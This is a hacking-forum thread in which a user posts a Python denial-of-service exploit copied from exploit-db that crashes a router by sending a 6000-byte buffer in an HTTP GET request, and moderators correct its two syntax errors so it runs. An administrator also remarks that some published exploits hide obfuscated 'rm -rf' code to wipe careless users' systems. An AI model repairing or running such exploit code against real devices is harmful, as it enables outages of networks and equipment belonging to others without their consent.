Author Topic: Somone Help me To fix the Below CODE  (Read 464 times)

0 Members and 1 Guest are viewing this topic.

Offline FurqanHanif

  • /dev/null
  • *
  • Posts: 18
  • Cookies: -6
    • View Profile
Somone Help me To fix the Below CODE
« on: May 03, 2015, 09:39:53 pm »
i am Trying To run This Exploit but i 'm getting Syntax error when i Run it, some one help me to fix this Code..
i am Getting syntax Error on line 14 ...  :(

Code: (python) [Select]
#!/bin/python
import socket
import struct
 
# This will crash the router.
# In some devices it takes about 10 minutes until functionality is restored.
 
buffer = "\x41" * 6000            # Original fuzzing buffer.
host = "192.168.15.25"
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
 
payload = GET /" + buffer + " HTTP / 1.1 \r\n "
payload += ("Host: %s \r\n\r\n", % host)
 
s.send(payload)
s.close()

Original Post.
https://www.exploit-db.com/exploits/34102/
« Last Edit: May 04, 2015, 06:48:41 am by Kulverstukas »

Offline TheWormKill

  • EZ's Scripting Whore
  • Global Moderator
  • Knight
  • *
  • Posts: 257
  • Cookies: 66
  • The Grim Reaper of Worms
    • View Profile
Re: Somone Help me To fix the Below CODE
« Reply #1 on: May 03, 2015, 09:47:19 pm »
i am Trying To run This Exploit but i 'm getting Syntax error when i Run it, some one help me to fix this Code..
i am Getting syntax Error on line 14 ...  :(

Original Post.
https://www.exploit-db.com/exploits/34102/
line 14 should be
Code: [Select]
payload = "GET /" + buffer + " HTTP / 1.1 \r\n "instead of
Code: [Select]
payload = GET /" + buffer + " HTTP / 1.1 \r\n "That shouldn't be that hard to see, since the GET-part is a string constant that has to be enclosed in quotes.
« Last Edit: May 03, 2015, 09:47:58 pm by TheWormKill »
Stuff I did: How to think like a superuser, Iridium

He should make that "Haskell"
Quote
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker

Offline FurqanHanif

  • /dev/null
  • *
  • Posts: 18
  • Cookies: -6
    • View Profile
Re: Somone Help me To fix the Below CODE
« Reply #2 on: May 03, 2015, 09:53:18 pm »
Now Error in Line 15... :(

Quote
File "buffer.py", line 15
    payload += ("Host: %s \r\n\r\n", % host)
                                     ^
SyntaxError: invalid syntax

Offline TheWormKill

  • EZ's Scripting Whore
  • Global Moderator
  • Knight
  • *
  • Posts: 257
  • Cookies: 66
  • The Grim Reaper of Worms
    • View Profile
Re: Somone Help me To fix the Below CODE
« Reply #3 on: May 03, 2015, 09:55:35 pm »
Remove the comma and the brackets and learn to code your own exploits, so you don't have to rely on others' shitty and obviously untested code.
Stuff I did: How to think like a superuser, Iridium

He should make that "Haskell"
Quote
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Somone Help me To fix the Below CODE
« Reply #4 on: May 04, 2015, 06:50:55 am »
Remove the comma and the brackets and learn to code your own exploits, so you don't have to rely on others' shitty and obviously untested code.
Some people like to leave intentional bugs and obvious logic flaws so that people like OP ask questions how to run it and get laughed at. More evil people embed obfuscated rm -rf code into some overflow exploits so that stupid people mindlessly running them would self-destruct :D